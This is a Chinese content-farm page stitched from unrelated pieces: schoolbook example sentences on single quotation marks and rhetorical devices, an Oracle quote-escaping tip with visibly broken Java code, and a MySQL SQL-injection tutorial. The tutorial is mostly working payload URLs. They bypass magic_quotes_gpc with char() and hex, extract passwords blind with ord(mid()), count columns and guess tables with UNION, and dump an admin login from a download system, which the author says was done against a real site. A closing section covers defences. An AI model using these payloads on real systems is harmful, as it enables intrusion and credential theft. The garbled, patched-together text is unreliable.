欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

带有单引号的句子

时间:2022-05-23 21:21:35 其他范文 收藏本文 下载本文

【导语】以下是小编精心整理的带有单引号的句子(共6篇),供大家参考借鉴,希望可以帮助到有需要的朋友。

带有单引号的句子

篇1:带有单引号句子

带有单引号句子

1、报纸上说:“全国足球职业联赛发展到今天,请教练‘下课’已不是什么值得惊讶的事情了。”

2、大家听我说:“老师说:‘谁的`题不会做,可以下课后问我’,都清楚了吗?”

3、当时北平各报载“十一月三十日重庆专电”:“北大代理校长傅斯年,已由昆明返渝,顷对记者谈:‘伪北大之教职员均系伪组织之公职人员,应在附逆之列,将来不可担任要职。’”

4、父亲对小明说:“咱们这地方出产的‘龙井’可是上等好茶,明天你带上几斤去探望你们的老师。”

5、接着解释:“收豆子、红薯的时候,獾正肥哩。肉香、油多,俗语说‘八斤獾肉七斤油’啊。”

6、她说:“昨天我爸爸给我买了只可爱的小狗,爸爸说:‘你要照顾好小狗哦!’我说:好!

7、妈妈对我说:“你要知道‘十年树木,百年树人’。”

8、漫画家天呈见别人买有凡高的画册, 便赞叹起来,“你挑得好,你买的书好,我买不起这么好的书。我比凡高次一等,我是‘次凡高’。”

9、他问:“你知道‘宁缺毋滥’这个成语是什么意思吗?”

10、小明对小红说:“他昨天告诉我‘要认真才行’,我觉得他对我挺好。”

11、小明举手问:“老师,‘儿童不宜’是什么意思?”

12、周老师对学生说:“我们学习上要不断进步;否则就要后退。古语不是说:‘学如逆水行舟,不进则退’嘛? ”

篇2:带有单引号的句子

带有单引号的句子

带有单引号的句子

1、接着解释:“收豆子、红薯的时候,獾正肥哩。肉香、油多,俗语说‘八斤獾肉七斤油’啊。”

2、爸爸意味深长地对聪聪说:“看来要想真正理解一个词语的.意思,不仅要会查有字的词典,还要学会查身边的‘无字词典’哪!”

3、她说:“昨天我爸爸给我买了只可爱的小狗,爸爸说:‘你要照顾好小狗哦!’我说:好!

4、大家听我说:“老师说:‘谁的题不会做,可以下课后问我’,都清楚了吗?”

5、周老师对学生说:“我们学习上要不断进步;否则就要后退。古语不是说:‘学如逆水行舟,不进则退’嘛?”

6、孟浩然接过酒杯,一饮而尽,然后说道:“王勃说得好,‘海内存知己,天涯若比邻。’虽然我们暂时分别了,我们的友谊却像这长江的波涛永世不绝。”

7、妈妈对我说:“你要知道‘十年树木,百年树人’。”

8、父亲对小明说:“咱们这地方出产的‘龙井’可是上等好茶,明天你带上几斤去探望你们的老师。”

9、他问:“你知道‘宁缺毋滥’这个成语是什么意思吗?”

10、当时北平各报载“十一月三十日重庆专电”:“北大代理校长傅斯年,已由昆明返渝,顷对记者谈:‘伪北大之教职员均系伪组织之公职人员,应在附逆之列,将来不可担任要职。’”

11、小明举手问:“老师,‘儿童不宜’是什么意思?”

12、漫画家天呈见别人买有凡高的画册,便赞叹起来,“你挑得好,你买的书好,我买不起这么好的书。我比凡高次一等,我是‘次凡高’。”

13、妈妈说:“我叫他吃饭,他却说:‘我屁股痒了,不回家吃饭’。”

14、小明对小红说:“他昨天告诉我‘要认真才行’,我觉得他对我挺好。”

15、报纸上说:“全国足球职业联赛发展到今天,请教练‘下课’已不是什么值得惊讶的事情了。”

篇3:带有单引号的精美句子摘选

带有单引号的精美句子摘选

1、接着解释:“收豆子、红薯的时候,獾正肥哩。肉香、油多,俗语说‘八斤獾肉七斤油’啊。”

2、爸爸意味深长地对聪聪说:“看来要想真正理解一个词语的意思,不仅要会查有字的词典,还要学会查身边的‘无字词典’哪!”

3、她说:“昨天我爸爸给我买了只可爱的.小狗,爸爸说:‘你要照顾好小狗哦!’我说:好!

4、大家听我说:“老师说:‘谁的题不会做,可以下课后问我’,都清楚了吗?”

5、周老师对学生说:“我们学习上要不断进步;否则就要后退。古语不是说:‘学如逆水行舟,不进则退’嘛?”

6、孟浩然接过酒杯,一饮而尽,然后说道:“王勃说得好,‘海内存知己,天涯若比邻。’虽然我们暂时分别了,我们的友谊却像这长江的波涛永世不绝。”

7、妈妈对我说:“你要知道‘十年树木,百年树人’。”

8、父亲对小明说:“咱们这地方出产的‘龙井’可是上等好茶,明天你带上几斤去探望你们的老师。”

9、他问:“你知道‘宁缺毋滥’这个成语是什么意思吗?”

10、当时北平各报载“十一月三十日重庆专电”:“北大代理校长傅斯年,已由昆明返渝,顷对记者谈:‘伪北大之教职员均系伪组织之公职人员,应在附逆之列,将来不可担任要职。’”

11、小明举手问:“老师,‘儿童不宜’是什么意思?”

12、漫画家天呈见别人买有凡高的画册,便赞叹起来,“你挑得好,你买的书好,我买不起这么好的书。我比凡高次一等,我是‘次凡高’。”

13、妈妈说:“我叫他吃饭,他却说:‘我屁股痒了,不回家吃饭’。”

14、小明对小红说:“他昨天告诉我‘要认真才行’,我觉得他对我挺好。”

15、报纸上说:“全国足球职业联赛发展到今天,请教练‘下课’已不是什么值得惊讶的事情了。”

篇4:oracle查询带有单引号的

一条查询语句

select * from table where a ='['0','女'],['1','男']';

后来通过查资料用chr(39)来转换单引号格式可以写成这样:

select '['||chr(39)||'0'||chr(39)||','||chr(39)||'女'||chr(39)||']'||

','||'['||chr(39)||'1'||chr(39)||','||chr(39)||'男'||chr(39)||']' translation from dual这样查询是没有问题的,所以得想办法将客户端参数转义。

String Strinfo=“['0','女'],['1','男']”;

StringBuffer str = new StringBuffer;

for(int i=0;i

{

String ss =Convert.ToString(Strinfo.charAt(i));

if(ss.equalsIgnoreCase(“[”)){

str.append(“'['||”);

}

else if(ss.equalsIgnoreCase(“'”)){

str.append(“chr(39)||”);

}

else if(ss.equalsIgnoreCase(“]”)){

if(i!=Strinfo.length()-1){

str.append(“']'||”);

}

else{

str.append(“']'”);

}

}

else{

str.append(“'”+Strinfo.charAt(i)+“'||”);

}

}

通过以上方法我们就可以查询了,

select * from table where a in (select '['||chr(39)||'0'||chr(39)||','||chr(39)||'女'||chr(39)||']'||

','||'['||chr(39)||'1'||chr(39)||','||chr(39)||'男'||chr(39)||']' translation)

篇5:带有修辞手法句子

带有修辞手法句子

比喻:

(1)天空中出现了一道彩虹,宛如一座彩桥悬在上空。

(2)天渐渐破晓,淡青色的天空镶着几颗残星,大地朦朦胧胧的,如同笼罩着银灰色的轻纱。

(3)我顺着柳荫小路漫步,只见那依依的垂柳,仿佛像少女羞涩的低着头,在朝辉中舒展着柔美的身姿。

(4)玉盘似的明月高挂在淡蓝色的天空中,月光像流水一样泻下来,大地一片银白色。

(5)月亮默默的从江心升起来了,圆圆的、亮晶晶的,好像一个银盘。

(6)村子里一棵棵黑油油的广柑树,就像一把把巨大的伞,挺立在那里,满树都闪着细碎的银光。

(7)春风像一只彩笔,把整个世界勾勒得更加绚丽多彩

(8)春风像个慈祥的母亲,拂着你的脸颊,使你感到舒畅,心旷神怡。

(9)云彩像一朵朵洁白的羽毛,轻轻的漂浮在空中。

(10)东方天边的彩霞时刻在变幻,如霜枫,如榴火,如玛瑙,如琥珀。

(11)西湖像一块碧玉,也像一面铜镜。

(12)星星像一双明亮的眼睛在夜空中照耀。

(13)小姑娘的心灵像棉花一样纯洁。

(14)水仙花很漂亮,像一位站在小河边,穿着白衣服的仙女。

(18)春天像位爱美的姑娘,让世界姹紫嫣红.

(19)春天是位魔法师,她融化了冰雪,让小草破土而出.。

(20)春天是一首美妙的乐曲,让世界充满生机;

(21)春天是一只快乐的小鸟,让世界充满活力;

(22)春天是一个优美的舞蹈,让世界充满微笑。

(23)母亲像明亮的太阳,让我心中温暖 。

(24)母亲像温和的阳光,让我满怀期望 。

(25)母亲像参天的大树,让我感觉凉爽 。

(26)母亲像鼓起航帆,让我顺利的到达彼岸。

(27)母亲像点燃的蜡烛,让我看到光明。

(28)母亲是大地,我就是小草。

(29)母亲是绿叶,我就是鲜花。

(30)母亲是金色的灯塔,时刻指明我前进的方向。

(31)母亲是遮风挡雨的纸伞,呵护着我幼小的生命。

(32)母亲是御寒的冬衣,时刻给我温暖。

(33)母亲是使人复苏的动力,是力量的源泉,是前进的风帆。

(34)母亲是天边的启明星,总是早早地起来忙碌。

(35)母亲是我的闹钟,天天准时把我唤醒。

(36)母亲是避风的港湾,让归航的我不再漂泊。

(37)母亲是陈年的老酒,让我深刻感受到浓烈的甘醇。

(38)母亲是威严的老师,让我学会了怎样做人。

(39)母亲是默默的老黄牛,忍辱负重,从不叫苦。

(40)母亲是和平的信使,给邻里之间带来了和睦。

拟人:

请听听森林爷爷的话吧。

天空中的星星眼睛一眨一眨的。

小鸟在树上欢快地歌唱。

花红的像一个小姑娘的脸。

花儿在微风中翩然起舞。

人面不知何处去,桃花依旧笑春风.

春天母亲又苏醒了,她哺育小草,呵护大树,孕育生命,温暖人间,使世界一片生机盎然。

春姑娘轻轻地飞来了,她飞过高山,来到江河,飞过森林,来到田野,把春风春雨送到人间

春姑娘穿着彩衣,身批彩带,带着明媚的阳光、艳丽的花朵,翩翩舞到了人间。

柳树在小河边听着春之歌,微风一吹它摇动起像小辫子那样的枝条,好像在说:“春天真美!”

蜜蜂在花丛中翩翩起舞,饱览春天的美丽。

一盆盆花草从冬天的沉寂中睡醒来,抖掉全身的枯枝败叶,重新换上了新装。

当悲伤的水流入稳重的山,水这可怜儿的悲伤也勾起了山的悲伤,于是他们的心一齐碎了;水把头埋入地下,山却把心的碎片一块块收好,于是就有了迷乱复杂的溶洞,就有了千姿百态的石笋,就有了洞口突突的泉水。

山,好似让众人拥戴的伟人,仁厚是他的.本色,静立,献出了唐古拉山的皑皑白雪,献出了黄山的温泉、云海、迎客松;山,相信沉默是金,他无语、无怨、无悔、无去、无从。然而冥冥之中,却永不停息地为世人演绎着动人的神话,最美的风景。

排比:

(1)燕子去了,有再来的时候;杨柳枯了,有再青的时候;桃花谢了,有再开的时候……

(2)花开,蝉鸣,叶落,雪飘.

(3)当手指跳跃,风儿便不再悲伤;当黑白流淌,思绪便将痛苦遗忘;当旋律激扬,天地便只在我的心泉徜徉……

(4)轻轻摇摆的柳絮像是你飘逸的长发;那闪闪的星星像是你明亮的眼睛;那天边的一抹红霞像是你温柔的唇;那霏霏的细雨像是女儿对妈妈您无尽的思念.

(5)要燃放瞬时的烟花不难,难的是将这刹那的灿烂永恒定格在夜空;要鼓起一时的勇气不难,难的是将这不灭的斗志维持一生;要获得片刻的欢愉不难,难的是笑到最后.

(6)当三闾大夫抱着石头与江水相拥,当西楚霸王自刎时的鲜血染红了整片夕阳,当普罗米修斯裸着身体被巨鹰啄食,当拉奥孔扭曲着身体仍想保卫自己的儿子,历史的悲风中发出阵阵悲鸣,但他们生命的结尾却那么响亮有力,数千年来仍叩击着人们的心灵,播放出永不低沉的生命绝唱!

(7)一个人不能贪图安逸,一个民族不能贪图安逸,一个国家不能贪图安逸.贪图安逸的人注定是玩物丧志,无所作为的;贪图安逸的民族注定是没落的,没有活力和创造力的;贪图安逸的国家在国际竞争日趋激烈的形势下势必被淘汰被抛弃.

(8)风,从水中掠过,留下粼粼波纹;阳光,从云中穿过,留下丝丝温暖;岁月,从树林中走过,留下圈圈年轮……那么朋友,我们从时代的大舞台上走过,又该留下点什么呢我们应当留下青春的骄傲,寻梦的足迹;我们应当留下真我的风采与个性的张扬,我们应当留下无悔的演绎和星光的灿烂!

篇6:magicquotesgpc为on非单引号注入

注:现在我们假设magic_quotes_gpc为on了,

众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多

问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成

整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

Select * FROM user Where username=’angel’

如何使$username不带引号呢?很简单我们这样提交就可以了。

Select * FROM user Where username=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制。

Select * FROM user Where username=0x616E67656C

# 0x616E67656C 相当于angel,十六进制。

其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所

包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子

(user,php),我们把查询条件改为userid:

Select * FROM user Where userid=userid

按照正常的,提交:

127.0.0.1/injection/user.php?userid=1

就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们

构造:

127.0.0.1/injection/user.php?userid=1 and password=mypass

绝对错误,因为mypass是字符串,除非提交:

127.0.0.1/injection/user.php?userid=1 and password=’mypass’

由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法

可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

127.0.0.1/injection/user.php?userid=1 and password=char

(109,121,112,97,115,115)

正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解

127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比

较:

127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还

是可以用比较运算符来比较:

127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

而原来已经猜好的不用改变了,很快就可以猜完:

127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char

(109,121,112,97,115,115)

然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)

就会返回:mypass

当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos

位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段

的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)

127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函

数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进

行比较、当然得出的结果也就快多了,也就是这样提交:

127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113

127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大

家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非

常必要的技巧,充分发挥UNION的特性。

还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要

UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段

127.0.0.1/injection/show.php?id=-1 union select 1,1,1

有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果

字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易

,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还

是用char()函数,char(97)表示字母“a”,如下:

127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,

就会返回“0”

判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判

断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序

都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活

运用才是根本。

4、猜数据表名

在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,

那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上

的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我

们提交:

127.0.0.1/injection/show.php?id=1 union select 1,1,1

返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from

table_name,也就是这样:

127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members

127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin

127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,

所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手

工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是

这样,后面的实例会涉及到。

但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以

让多个程序共用一个数据库。比如:

site_article

site_user

site_download

forum_user

forum_post

……

如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表

名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例

下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证

,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和

下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现

在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用

更狠毒的技术渗透过HB。

首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有

改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

127.0.0.1/ymdown/show.php?id=1 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了

,直接看看夜猫的默认用户数据表是否存在:

127.0.0.1/ymdown/show.php?id=1 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多

少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

127.0.0.1/ymdown/show.php?id=1 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,

我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文

件里面有这样一段代码:

if ($id > “0” && $id < “999999999” ):

//这里是正确执行的代码

else:

echo “

无记录

n”;

也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000

个的,我们就提交:

127.0.0.1/ymdown/show.php?id=10000 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

正常返回了,表格里的数据全部是“1”,说明ID还在哦,

如果不存在的话,页面只返回的数

据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是

不是管理员才行啊:

127.0.0.1/ymdown/show.php?id=10000 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴

出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,

所以我们应该看它的数据结构。

Create TABLE ymdown (

id int(10) unsigned NOT NULL auto_increment,

name varchar(100) NOT NULL,

updatetime varchar(20) NOT NULL,

size varchar(100) NOT NULL,

empower varchar(100) NOT NULL,

os varchar(100) NOT NULL,

grade smallint(6) DEFAULT ’0’ NOT NULL,

viewnum int(10) DEFAULT ’0’ NOT NULL,

downnum int(10) DEFAULT ’0’ NOT NULL,

homepage varchar(100), demo varchar(100),

brief mediumtext, img varchar(100),

sort2id smallint(6) DEFAULT ’0’ NOT NULL,

down1 varchar(100) NOT NULL,

down2 varchar(100),

down3 varchar(100),

down4 varchar(100),

down5 varchar(100),

PRIMARY KEY (id)

);

用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,

如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长

度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显

示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交

127.0.0.1/ymdown/show.php?id=10000 union select

1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

结果成功返回了我们所需要的用户名和密码

验证测试结果

整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目

的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确

,依次提交:

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,1,1))=49

#验证第一位密码

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,2,1))=50

#验证第二位密码

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,3,1))=51

#验证第三位密码

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,4,1))=52

#验证第四位密码

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,5,1))=53

#验证第五位密码

127.0.0.1/ymdown/show.php?id=10 union select

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid

(password,6,1))=54

#验证第六位密码

用select char(49,50,51,52,53,54)就可以得到123456。

OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函

数而直接猜,但为了大家能看到一个完整的过程,我还是“专业”一点好了。

注入的防范

防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很

多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,

既然本文接触都是程序的问题,我们还是从程序本身寻找原因。

如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用

一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很

安全的了:

$id = intval($id);

mysql_query(“Select * FROM article Where articleid=’$id’”);

或者这样写:

mysql_query(“Select * FROM article Where articleid=”.intval($id).“”)

不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常

简洁。

字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和

magic_quotes_gpc一样,使用后,所有的 ’ (单引号), “ (双引号), (反斜线) and 空字符会自

动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用

addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);

mysql_query(”Select * FROM members Where userid=’$username’“);

或者这样写:

mysql_query(”Select * FROM members Where userid=“.addslashes($username).”“)

使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补

方法就是直接把“_”、“%”转换为“_”“%”就可以了,当然也不要忘记使用addslashes()函

数。具体代码如下:

$keywords = addslashes($keywords);

$keywords = str_replace(”_“,”_“,$keywords);

$keywords = str_replace(”%“,”%",$keywords);

不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以

把本文所有的问题解决了,是不是很简便?

带有单引号的精美句子摘选

带有漫不经心的句子

带有拟声词的句子

带有星星的励志句子

带有人生哲理的句子合集

带有书名的励志句子

带有拟声词的优美句子作文

带有兔年对联

带有励志座右铭

岁月青春又带有忧伤的唯美句子

《带有单引号的句子(共6篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档